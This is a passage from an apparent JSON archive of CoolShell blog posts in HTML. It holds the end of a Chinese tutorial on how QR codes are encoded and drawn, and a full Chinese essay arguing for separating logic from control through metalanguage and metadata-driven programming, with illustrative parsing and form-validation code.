1</td>\n<td>67</td>\n<td>85</td>\n<td>70</td>\n<td>134</td>\n<td>87</td>\n<td>38</td>\n<td>85</td>\n<td>194</td>\n<td>119</td>\n<td>50</td>\n<td>6</td>\n<td>18</td>\n<td>6</td>\n<td>103</td>\n<td>38</td>\n<td></td>\n</tr>\n<tr>\n<td class=\"head\">块 2</td>\n<td>246</td>\n<td>246</td>\n<td>66</td>\n<td>7</td>\n<td>118</td>\n<td>134</td>\n<td>242</td>\n<td>7</td>\n<td>38</td>\n<td>86</td>\n<td>22</td>\n<td>198</td>\n<td>199</td>\n<td>146</td>\n<td>6</td>\n<td></td>\n</tr>\n<tr>\n<td class=\"head\">块 3</td>\n<td>182</td>\n<td>230</td>\n<td>247</td>\n<td>119</td>\n<td>50</td>\n<td>7</td>\n<td>118</td>\n<td>134</td>\n<td>87</td>\n<td>38</td>\n<td>82</td>\n<td>6</td>\n<td>134</td>\n<td>151</td>\n<td>50</td>\n<td>7</td>\n</tr>\n<tr>\n<td class=\"head\">块 4</td>\n<td>70</td>\n<td>247</td>\n<td>118</td>\n<td>86</td>\n<td>194</td>\n<td>6</td>\n<td>151</td>\n<td>50</td>\n<td>16</td>\n<td>236</td>\n<td>17</td>\n<td>236</td>\n<td>17</td>\n<td>236</td>\n<td>17</td>\n<td>236</td>\n</tr>\n</tbody>\n</table>\n<p>我们先取第一列的：67， 246， 182， 70</p>\n<p>然后再取第二列的：67， 246， 182， 70， 85，246，230 ，247</p>\n<p>如此类推：67， 246， 182， 70， 85，246，230 ，247 ………  ……… ，38，6，50，17，7，236</p>\n<p>对于纠错码，也是一样：</p>\n<table class=\"coolshell\">\n<tbody>\n<tr>\n<td class=\"head\">块 1</td>\n<td>213</td>\n<td>199</td>\n<td>11</td>\n<td>45</td>\n<td>115</td>\n<td>247</td>\n<td>241</td>\n<td>223</td>\n<td>229</td>\n<td>248</td>\n<td>154</td>\n<td>117</td>\n<td>154</td>\n<td>111</td>\n<td>86</td>\n<td>161</td>\n<td>111</td>\n<td>39</td>\n</tr>\n<tr>\n<td class=\"head\">块 2</td>\n<td>87</td>\n<td>204</td>\n<td>96</td>\n<td>60</td>\n<td>202</td>\n<td>182</td>\n<td>124</td>\n<td>157</td>\n<td>200</td>\n<td>134</td>\n<td>27</td>\n<td>129</td>\n<td>209</td>\n<td>17</td>\n<td>163</td>\n<td>163</td>\n<td>120</td>\n<td>133</td>\n</tr>\n<tr>\n<td class=\"head\">块 3</td>\n<td>148</td>\n<td>116</td>\n<td>177</td>\n<td>212</td>\n<td>76</td>\n<td>133</td>\n<td>75</td>\n<td>242</td>\n<td>238</td>\n<td>76</td>\n<td>195</td>\n<td>230</td>\n<td>189</td>\n<td>10</td>\n<td>108</td>\n<td>240</td>\n<td>192</td>\n<td>141</td>\n</tr>\n<tr>\n<td class=\"head\">块 4</td>\n<td>235</td>\n<td>159</td>\n<td>5</td>\n<td>173</td>\n<td>24</td>\n<td>147</td>\n<td>59</td>\n<td>33</td>\n<td>106</td>\n<td>40</td>\n<td>255</td>\n<td>172</td>\n<td>82</td>\n<td>2</td>\n<td>131</td>\n<td>32</td>\n<td>178</td>\n<td>236</td>\n</tr>\n</tbody>\n</table>\n<p>和数据码取的一样，得到：213，87，148，235，199，204，116，159，…… …… 39，133，141，236</p>\n<p>然后，再把这两组放在一起（纠错码放在数据码之后）得到：</p>\n<p>67, 246, 182, 70, 85, 246, 230, 247, 70, 66, 247, 118, 134, 7, 119, 86, 87, 118, 50, 194, 38, 134, 7, 6, 85, 242, 118, 151, 194, 7, 134, 50, 119, 38, 87, 16, 50, 86, 38, 236, 6, 22, 82, 17, 18, 198, 6, 236, 6, 199, 134, 17, 103, 146, 151, 236, 38, 6, 50, 17, 7, 236, 213, 87, 148, 235, 199, 204, 116, 159, 11, 96, 177, 5, 45, 60, 212, 173, 115, 202, 76, 24, 247, 182, 133, 147, 241, 124, 75, 59, 223, 157, 242, 33, 229, 200, 238, 106, 248, 134, 76, 40, 154, 27, 195, 255, 117, 129, 230, 172, 154, 209, 189, 82, 111, 17, 10, 2, 86, 163, 108, 131, 161, 163, 240, 32, 111, 120, 192, 178, 39, 133, 141, 236</p>\n<p>这就是我们的数据区。</p>\n<h5>Remainder Bits</h5>\n<p>最后再加上Reminder Bits，对于某些Version的QR，上面的还不够长度，还要加上Remainder Bits，比如：上述的5Q版的二维码，还要加上7个bits，Remainder Bits加零就好了。关于哪些Version需要多少个Remainder bit，可以参看<a href=\"http://raidenii.net/files/datasheets/misc/qr_code.pdf\" target=\"_blank\">QR Code Spec</a>的第15页的Table-1的定义表。</p>\n<h4>画二维码图</h4>\n<h5>Position Detection Pattern</h5>\n<p>首先，先把Position Detection图案画在三个角上。（无论Version如何，这个图案的尺寸就是这么大）</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"141\" src=\"../wp-content/uploads/2013/10/finder.png\" width=\"99\"/></p>\n<h5>Alignment Pattern</h5>\n<p>然后，再把Alignment图案画上（无论Version如何，这个图案的尺寸就是这么大）</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"91\" src=\"../wp-content/uploads/2013/10/alignment-pattern.png\" width=\"68\"/></p>\n<p>关于Alignment的位置，可以查看<a href=\"http://raidenii.net/files/datasheets/misc/qr_code.pdf\" target=\"_blank\">QR Code Spec</a>的第81页的Table-E.1的定义表（下表是不完全表格）</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-10613\" height=\"239\" src=\"../wp-content/uploads/2013/10/Alignment-Position.png\" width=\"582\"/></p>\n<p>下图是根据上述表格中的Version8的一个例子（6，24，42）</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-10606\" height=\"288\" src=\"../wp-content/uploads/2013/10/alignment-example.png\" width=\"241\"/></p>\n<h5>Timing Pattern</h5>\n<p>接下来是Timing Pattern的线（这个不用多说了）</p>\n<p style=\"text-align: center;\"><strong><img alt=\"\" class=\"aligncenter\" height=\"258\" src=\"../wp-content/uploads/2013/10/Timing-Pattern.png\" width=\"596\"/></strong></p>\n<h5>Format Information</h5>\n<p>再接下来是Formation Information，下图中的蓝色部分。</p>\n<p style=\"text-align: left;\"><img alt=\"\" class=\"aligncenter wp-image-10610\" height=\"199\" src=\"../wp-content/uploads/2013/10/Format-Information.png\" width=\"352\"/></p>\n<p style=\"text-align: left;\">Format Information是一个15个bits的信息，每一个bit的位置如下图所示：（注意图中的Dark Module，那是永远出现的）</p>\n<p style=\"text-align: left;\"><img alt=\"\" class=\"aligncenter size-full wp-image-10630\" height=\"381\" src=\"../wp-content/uploads/2013/10/Format-Info-bits-postion.png\" width=\"363\"/></p>\n<p style=\"text-align: left;\">这15个bits中包括：</p>\n<ul>\n<li>5个数据bits：其中，2个bits用于表示使用什么样的Error Correction Level， 3个bits表示使用什么样的Mask</li>\n<li>10个纠错bits。主要通过BCH Code来计算</li>\n</ul>\n<p>然后15个bits还要与101010000010010做XOR操作。这样就保证不会因为我们选用了00的纠错级别和000的Mask，从而造成全部为白色，这会增加我们的扫描器的图像识别的困难。</p>\n<p>下面是一个示例：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-10631\" height=\"116\" src=\"../wp-content/uploads/2013/10/Format-Information-Example.png\" width=\"376\"/></p>\n<p>关于Error Correction Level如下表所示：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-10632\" height=\"114\" src=\"../wp-content/uploads/2013/10/Error-Correction-Indicator-Code.png\" width=\"253\"/></p>\n<p>关于Mask图案如后面的Table 23所示。</p>\n<h5 style=\"text-align: left;\">Version Information</h5>\n<p style=\"text-align: left;\">再接下来是Version Information（版本7以后需要这个编码），下图中的蓝色部分。<br/>\n<img alt=\"\" class=\"aligncenter wp-image-10612\" height=\"254\" src=\"../wp-content/uploads/2013/10/Version-Information.png\" width=\"508\"/></p>\n<p>Version Information一共是18个bits，其中包括6个bits的版本号以及12个bits的纠错码，下面是一个示例：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-10634\" height=\"63\" src=\"../wp-content/uploads/2013/10/Version-Information-Example.png\" width=\"405\"/></p>\n<p>而其填充位置如下：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-10635\" height=\"149\" src=\"../wp-content/uploads/2013/10/Version-Information-Position.png\" width=\"425\"/></p>\n<h5>数据和数据纠错码</h5>\n<p>然后是填接我们的最终编码，最终编码的填充方式如下：从左下角开始沿着红线填我们的各个bits，1是黑色，0是白色。如果遇到了上面的非数据区，则绕开或跳过。</p>\n<p><img alt=\"\" class=\"aligncenter\" height=\"372\" src=\"../wp-content/uploads/2013/10/Data-Placement.png\" width=\"348\"/></p>\n<h5>掩码图案</h5>\n<p>这样下来，我们的图就填好了，但是，也许那些点并不均衡，如果出现大面积的空白或黑块，会告诉我们扫描识别的困难。所以，我们还要做Masking操作（靠，还嫌不复杂）QR的Spec中说了，QR有8个Mask你可以使用，如下所示：其中，各个mask的公式在各个图下面。所谓mask，说白了，就是和上面生成的图做XOR操作。Mask只会和数据区进行XOR，不会影响功能区。（<strong>注：选择一个合适的Mask也是有算法的</strong>）</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-10614\" height=\"274\" src=\"../wp-content/uploads/2013/10/masking-pattern.png\" width=\"494\"/></p>\n<p>其Mask的标识码如下所示：（其中的i,j分别对应于上图的x,y）</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-10633\" height=\"181\" src=\"../wp-content/uploads/2013/10/Mask-Pattern-Code.png\" width=\"416\"/></p>\n<p>下面是Mask后的一些样子，我们可以看到被某些Mask XOR了的数据变得比较零散了。</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-10615\" height=\"446\" src=\"../wp-content/uploads/2013/10/Masking-Examples.png\" width=\"616\"/></p>\n<p>Mask过后的二维码就成最终的图了。</p>\n<p>好了，大家可以去尝试去写一下QR的编码程序，当然，你可以用网上找个Reed Soloman的纠错算法的库，或是看看别人的源代码是怎么实现这个繁锁的编码。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17225.html\"><img alt=\"Cuckoo Filter：设计与实现\" height=\"150\" src=\"../wp-content/uploads/2015/08/cuckoo-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17225.html\">Cuckoo Filter：设计与实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11847.html\"><img alt=\"谜题的答案和活动的心得体会\" height=\"150\" src=\"../wp-content/uploads/2014/08/puzzle-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11847.html\">谜题的答案和活动的心得体会</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11832.html\"><img alt=\"【活动】解迷题送礼物\" height=\"150\" src=\"../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11832.html\">【活动】解迷题送礼物</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10427.html\"><img alt=\"伙伴分配器的一个极简实现\" height=\"150\" src=\"../wp-content/uploads/2013/10/buddy-memory-allocation-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10427.html\">伙伴分配器的一个极简实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9886.html\"><img alt=\"二叉树迭代器算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9886.html\">二叉树迭代器算法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/10590.html\">二维码的生成细节和原理</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2013-10-31 程序的本质复杂性和元语言抽象.html",
    "content": "<html><body><p><strong>（感谢 <a href=\"http://weibo.com/weidagang\" target=\"_blank\">@文艺复兴记</a>（todd） 投递此文）</strong></p>\n<h4>组件复用技术的局限性</h4>\n<p>常听到有人讲“我写代码很讲究，一直严格遵循<a href=\"http://en.wikipedia.org/wiki/Don't_repeat_yourself\">DRY原则</a>，把重复使用的功能都封装成可复用的组件，使得代码简短优雅，同时也易于理解和维护”。显然，DRY原则和组件复用技术是最常见的改善代码质量的方法，不过，在我看来以这类方法为指导，能帮助我们写出“不错的程序”，但还不足以帮助我们写出简短、优雅、易理解、易维护的“好程序”。对于熟悉Martin Fowler《重构》和GoF《设计模式》的程序员，我常常提出这样一个问题帮助他们进一步加深对程序的理解：</p>\n<blockquote><p>如果目标是代码“简短、优雅、易理解、易维护”，组件复用技术是最好的方法吗？这种方法有没有根本性的局限？</p></blockquote>\n<p>虽然基于函数、类等形式的组件复用技术从一定程度上消除了冗余，提升了代码的抽象层次，但是这种技术却有着本质的局限性，其根源在于 <strong>每种组件形式都代表了特定的抽象维度，组件复用只能在其维度上进行抽象层次的提升</strong>。比如，我们可以把常用的HashMap等功能封装为类库，但是不管怎么封装复用类永远是类，封装虽然提升了代码的抽象层次，但是它永远不会变成Lambda，而实际问题所代表的抽象维度往往与之并不匹配。</p>\n<p>以常见的二进制消息的解析为例，组件复用技术所能做到的只是把读取字节，检查约束，计算CRC等功能封装成函数，这是远远不够的。比如，下面的表格定义了二进制消息X的格式：</p>\n<p><span id=\"more-10652\"></span></p>\n<pre>Message X:\n--------------------------------------------------------\n| ID |  Name           | Type    | Size | Constraints  |\n--------------------------------------------------------\n| 1  | message type    | int     | 1    | = 0x01       |\n--------------------------------------------------------\n| 2  | payload size    | int     | 2    | &gt; 0          |\n--------------------------------------------------------\n| 3  | payload         | bytes   | &lt;2&gt;  |              |\n--------------------------------------------------------\n| 4  | CRC             | int     | 4    |              |\n--------------------------------------------------------</pre>\n<p>它的解析函数大概是这个样子：</p>\n<pre class=\"EnlighterJSRAW\">\nbool parse_message_x(char* data, int32 size, MessageX&amp; x) {\n    char *ptr = data;\n    if (ptr + sizeof(int8) &lt;= data + size) {\n        x.message_type = read_int8(ptr);\n        if (0x01 != x.message_type) return false;\n        ptr += sizeof(int8);\n    } else {\n        return false;\n    }\n    if (ptr + sizeof(int16) &lt;= data + size) {\n        x.payload_size = read_int16(ptr);\n        ptr += sizeof(int16);\n    } else {\n        return false;\n    }\n    if (ptr + x.payload_size &lt;= data + size) {\n        x.payload = new int8[x.payload_size];\n        read(ptr, x.payload, x.payload_size);\n        ptr += x.payload_size;\n    } else {\n        return false;\n    }\n    if (ptr + sizeof(int32) &lt;= data + size) {\n        x.crc = read_int32(ptr);\n        ptr += sizeof(int32);\n    } else {\n        delete x.payload;\n        return false;\n    }\n    if (crc(data, sizeof(int8) + sizeof(int16) + x.payload_size) != x.crc) {\n        delete x.payload;\n        return false;\n    }\n    return true;\n}\n</pre>\n<p>很明显，虽然消息X的定义非常简单，但是它的解析函数却显得很繁琐，需要小心翼翼地处理很多细节。在处理其他消息Y时，虽然虽然Y和X很相似，但是却不得不再次在解析过程中处理这些细节，就是组件复用方法的局限性，它只能帮我们按照函数或者类的语义把功能封装成可复用的组件，但是消息的结构特征既不是函数也不是类，这就是抽象维度的失配。</p>\n<h4><a href=\"http://www.cnblogs.com/weidagang2046/p/the-nature-of-meta.html#-2\" name=\"-2\"></a>程序的本质复杂性</h4>\n<p>上面分析了组件复用技术有着根本性的局限性，现在我们要进一步思考：</p>\n<blockquote><p>如果目标还是代码“简短、优雅、易理解、易维护”，那么代码优化是否有一个理论极限？这个极限是由什么决定的？普通代码比起最优代码多出来的“冗余部分”到底干了些什么事情？</p></blockquote>\n<p>回答这个问题要从程序的本质说起。Pascal语言之父Niklaus Wirth在70年代提出：Program = Data Structure + Algorithm，随后逻辑学家和计算机科学家R Kowalski进一步提出：Algorithm = Logic + Control。谁更深刻更有启发性？当然是后者！而且我认为数据结构和算法都属于控制策略，综合二位的观点，加上我自己的理解，程序的本质是：Program = Logic + Control。换句话说，程序包含了逻辑和控制两个维度。</p>\n<p>逻辑就是问题的定义，比如，对于排序问题来讲，逻辑就是“什么叫做有序，什么叫大于，什么叫小于，什么叫相等”？控制就是如何合理地安排时间和空间资源去实现逻辑。逻辑是程序的灵魂，它定义了程序的本质；控制是为逻辑服务的，是非本质的，可以变化的，如同排序有几十种不同的方法，时间空间效率各不相同，可以根据需要采用不同的实现。</p>\n<p>程序的复杂性包含了本质复杂性和非本质复杂性两个方面。套用这里的术语， <strong>程序的本质复杂性就是逻辑，非本质复杂性就是控制</strong>。逻辑决定了代码复杂性的下限，也就是说不管怎么做代码优化，Office程序永远比Notepad程序复杂，这是因为前者的逻辑就更为复杂。如果要代码简洁优雅，任何语言和技术所能做的只是尽量接近这个本质复杂性，而不可能超越这个理论下限。</p>\n<p>理解”程序的本质复杂性是由逻辑决定的”从理论上为我们指明了代码优化的方向：让逻辑和控制这两个维度保持正交关系。来看Java的Collections.sort方法的例子：</p>\n<pre class=\"EnlighterJSRAW\">\ninterface Comparator&lt;T&gt; {\n    int compare(T o1, T o2);\n}\npublic static &lt;T&gt; void sort(List&lt;T&gt; list, Comparator&lt;? super T&gt; comparator)\n</pre>\n<p>使用者只关心逻辑部份，即提供一个Comparator对象表明序在类型T上的定义；控制的部分完全交给方法实现者，可以有多种不同的实现，这就是逻辑和控制解耦。同时，我们也可以断定，这个设计已经达到了代码优化的理论极限，不会有本质上比它更简洁的设计（忽略相同语义的语法差异），为什么？因为逻辑决定了它的本质复杂度，Comparator和Collections.sort的定义完全是逻辑的体现，不包含任何非本质的控制部分。</p>\n<p>另外需要强调的是，上面讲的“控制是非本质复杂性”并不是说控制不重要，控制往往直接决定了程序的性能，当我们因为性能等原因必须采用某种控制的时候，实际上被固化的控制策略也是一种逻辑。比如，当你的需求是“从进程虚拟地址ptr1拷贝1024个字节到地址ptr2“，那么它就是问题的定义，它就是逻辑，这时，提供进程虚拟地址直接访问语义的底层语言就与之完全匹配，反而是更高层次的语言对这个需求无能为力。</p>\n<p>介绍了逻辑和控制的关系，可能很多朋友已经开始意识到了上面二进制文件解析实现的问题在哪里，其实这也是 <strong>绝大多数程序不够简洁优雅的根本原因：逻辑与控制耦合</strong>。上面那个消息定义表格就是不包含控制的纯逻辑，我相信即使不是程序员也能读懂它；而相应的代码把逻辑和控制搅在一起之后就不那么容易读懂了。</p>\n<p>熟悉OOP和GoF设计模式的朋友可能会把“逻辑与控制解耦”与经常听说的“接口和实现解耦”联系在一起，他们是不是一回事呢？其实，把这里所说的逻辑和OOP中的接口划等号是似是而非的， 而GoF设计模式最大的问题就在于有意无意地让人们以为“what就是interface, interface就是what”，很多朋友一想到要表达what，要抽象，马上写个接口出来，这就是潜移默化的惯性思维，自己根本意识不到问题在哪里。其实，接口和前面提到的组件复用技术一样，同样受限于特定的抽象维度，它不是表达逻辑的通用方法，比如，我们无法把二进制文件格式特征用接口来表示。</p>\n<p>另外，我们熟悉的许多GoF模式以“逻辑与控制解耦”的观点来看，都不是最优的。比如，很多时候Observer模式都是典型的以控制代逻辑，来看一个例子：</p>\n<blockquote><p>对于某网页的超链接，要求其颜色随着状态不同而变化，点击之前的颜色是#FF0000，点击后颜色变成#00FF00。</p></blockquote>\n<p>基于Observer模式的实现是这样的：</p>\n<p>[javascript]<br/>\n$(a).css(‘color’, ‘#FF0000’);</p>\n<p>$(a).click(function() {<br/>\n    $(this).css(‘color’, ‘#00FF00’);<br/>\n});<br/>\n[/javascript]</p>\n<p>而基于纯CSS的实现是这样的：</p>\n<pre class=\"EnlighterJSRAW\">\na:link {color: #FF0000}\na:visited {color: #00FF00}\n</pre>\n<p>通过对比，您看出二者的差别了吗？显然，Observer模式包含了非本质的控制，而CSS是只包含逻辑。理论上讲，CSS能做的事情，JavaScript都能通过控制做到，那么为什么浏览器的设计者要引入CSS呢，这对我们有何启发呢？</p>\n<h4><a href=\"http://www.cnblogs.com/weidagang2046/p/the-nature-of-meta.html#-3\" name=\"-3\"></a>元语言抽象</h4>\n<p>好的，我们继续思考下面这个问题：</p>\n<blockquote><p>\n逻辑决定了程序的本质复杂性，但接口不是表达逻辑的通用方式，那么是否存在表达逻辑的通用方式呢？</p></blockquote>\n<p>答案是：有！这就是元(Meta)，包括元语言(Meta Language)和元数据(Meta Data)两个方面。元并不神秘，我们通常所说的配置就是元，元语言就是配置的语法和语义，元数据就是具体的配置，它们之间的关系就是C语言和C程序之间的关系；但是，同时元又非常神奇，因为元既是数据也是代码，在表达逻辑和语义方面具有无与伦比的灵活性。至此，我们终于找到了让代码变得简洁、优雅、易理解、易维护的终极方法，这就是： <strong>通过元语言抽象让逻辑和控制彻底解耦</strong>！</p>\n<p>比如，对于二进制消息解析，经典的做法是类似Google的<a href=\"http://code.google.com/p/protobuf/\">Protocol Buffers</a>，把消息结构特征抽象出来，定义消息描述元语言，再通过元数据描述消息结构。下面是Protocol Buffers元数据的例子，这个元数据是纯逻辑的表达，它的复杂度体现的是消息结构的本质复杂度，而如何序列化和解析这些控制相关的部分被Protocol Buffers编译器隐藏起来了。</p>\n<pre class=\"EnlighterJSRAW\">\nmessage Person {\n  required int32 id = 1;\n  required string name = 2;\n  optional string email = 3;\n}\n</pre>\n<p>元语言解决了逻辑表达问题，但是最终要与控制相结合成为具体实现，这就是元语言到目标语言的映射问题。通常有这两种方法：</p>\n<p>1) 元编程(Meta Programming)，开发从元语言到目标语言的编译器，将元数据编译为目标程序代码；</p>\n<p>2) 元驱动编程(Meta Driven Programming)，直接在目标语言中实现元语言的解释器。</p>\n<p>这两种方法各有优势，元编程由于有静态编译阶段，一般产生的目标程序代码性能更好，但是这种方式混合了两个层次的代码，增加了代码配置管理的难度，一般还需要同时配备Build脚本把整个代码生成自动集成到Build过程中，此外，和IDE的集成也是问题；元驱动编程则相反，没有静态编译过程，元语言代码是动态解析的，所以性能上有损失，但是更加灵活，开发和代码配置管理的难度也更小。除非是性能要求非常高的场合，我推荐的是元驱动编程，因为它更轻量，更易于与目标语言结合。</p>\n<p>下面是用元驱动编程解决二进制消息解析问题的例子，meta_message_x是元数据，parse_message是解释器：</p>\n<p>[javascript]<br/>\nvar meta_message_x = {<br/>\n    id: ‘x’,<br/>\n    fields: [<br/>\n        { name: ‘message_type’, type: int8, value: 0x01 },<br/>\n        { name: ‘payload_size’, type: int16 },<br/>\n        { name: ‘payload’, type: bytes, size: ‘$payload_size’ },<br/>\n        { name: ‘crc’, type: crc32, source: [‘message_type’, ‘payload_size’, ‘payload’] }<br/>\n    ]<br/>\n}</p>\n<p>var message_x = parse_message(meta_message_x, data, size);<br/>\n[/javascript]</p>\n<p>这段代码我用的是JavaScript语法，因为对于支持Literal的类似JSON对象表示的语言中，实现元驱动编程最为简单。如果是Java或C++语言，语法上稍微繁琐一点，不过本质上是一样的，或者引入JSON配置文件，然后解析配置，或者定义MessageConfig类，直接把这个类对象作为配置信息。</p>\n<p>二进制文件解析问题是一个经典问题，有Protocol Buffers、Android AIDL等大量的实例，所以很多人能想到引入消息定义元语言，但是如果我们把问题稍微变换，能想到采用这种方法的人就不多了。来看下面这个问题：</p>\n<blockquote><p>某网站有新用户注册、用户信息更新，和个性设置等Web表单。出于性能和用户体验的考虑，在用户点击提交表单时，会先进行浏览器端的验证，比如：name字段至少3个字符，password字段至少8个字符，并且和repeat password要一致，email要符合邮箱格式；通过浏览器端验证以后才通过HTTP请求提交到服务器。</p></blockquote>\n<p>普通的实现是这个样子的：</p>\n<p>[javascript]<br/>\nfunction check_form_x() {<br/>\n    var name = $(‘#name’).val();<br/>\n    if (null == name || name.length &lt;= 3) {<br/>\n        return { status : 1, message: ‘Invalid name’ };<br/>\n    }</p>\n<p>    var password = $(‘#password’).val();<br/>\n    if (null == password || password.length &lt;= 8) {<br/>\n        return { status : 2, message: ‘Invalid password’ };<br/>\n    }</p>\n<p>    var repeat_password = $(‘#repeat_password’).val();<br/>\n    if (repeat_password != password.length) {<br/>\n        return { status : 3, message: ‘Password and repeat password mismatch’ };<br/>\n    }</p>\n<p>    var email = $(‘#email’).val();<br/>\n    if (check_email_format(email)) {<br/>\n        return { status : 4, message: ‘Invalid email’ };<br/>\n    }</p>\n<p>    …</p>\n<p>    return { status : 0, message: ‘OK’ };</p>\n<p>}<br/>\n[/javascript]</p>\n<p>上面的实现就是按照组建复用的思想封装了一下检测email格式之类的通用函数，这和刚才的二进制消息解析非常相似，没法在不同的表单之间进行大规模复用，很多细节都必须被重复编写。下面是用元语言抽象改进后的做法：</p>\n<p>[javascript]<br/>\nvar meta_create_user = {<br/>\n    form_id : ‘create_user’,<br/>\n    fields : [<br/>\n        { id : ‘name’, type : ‘text’, min_length : 3 },<br/>\n        { id : ‘password’, type : ‘password’, min_length : 8 },<br/>\n        { id : ‘repeat-password’, type : ‘password’, min_length : 8 },<br/>\n        { id : ’email’, type : ’email’ }<br/>\n    ]<br/>\n};</p>\n<p>var r = check_form(meta_create_user);<br/>\n[/javascript]</p>\n<p>通过定义表单属性元语言，整个逻辑顿时清晰了，细节的处理只需要在check_form中编写一次，完全实现了“简短、优雅、易理解、以维护”的目标。其实，不仅Web表单验证可以通过元语言描述，整个Web页面从布局到功能全部都可以通过一个元对象描述，完全将逻辑和控制解耦。此外，我编写的用于解析命令行参数的<a href=\"https://github.com/weidagang/line-parser-js\">lineparser.js</a>库也是基于元语言的，有兴趣的朋友可以参考并对比它和其他命令行解析库的设计差异。</p>\n<p>最后，我们再来从代码长度的角度来分析一下元驱动编程和普通方法之间的差异。假设一个功能在系统中出现了n次，对于普通方法来讲，由于逻辑和控制的耦合，它的代码量是n * (L + C)，而元驱动编程只需要实现一次控制，代码长度是C + n * L，其中L表示逻辑相关的代码量，C表示控制相关的代码量。通常情况下L部分都是一些配置，不容易引入bug，复杂的主要是C的部分，普通方法中C被重复了n次，引入bug的可能性大大增加，同时修改一个bug也可能要改n个地方。所以，对于重复出现的功能，元驱动编程大大减少了代码量，减小了引入bug的可能，并且提高了可维护性。</p>\n<h4><a href=\"http://www.cnblogs.com/weidagang2046/p/the-nature-of-meta.html#-4\" name=\"-4\"></a>总结</h4>\n<p>《人月神话》的作者Fred Brooks曾在80年代阐述了它对于软件复杂性的看法，即著名的<a href=\"http://en.wikipedia.org/wiki/No_Silver_Bullet\">No Silver Bullet</a>。他认为不存在一种技术能使得软件开发在生产力、可靠性、简洁性方面提高一个数量级。我不清楚Brooks这一论断详细的背景，但是就个人的开发经验而言，元驱动编程和普通编程方法相比在生产力、可靠性和简洁性方面的确是数量级的提升,在我看来它就是软件开发的银弹！<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11629.html\"><img alt=\"「我只是认真」聊聊工匠情怀\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11629.html\">「我只是认真」聊聊工匠情怀</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7657.html\"><img alt=\"持续部署，并不简单！\" height=\"150\" src=\"../wp-content/uploads/2012/06/hudsonCI2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7657.html\">持续部署，并不简单！</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4951.html\"><img alt=\"软件公司的两种管理方式\" 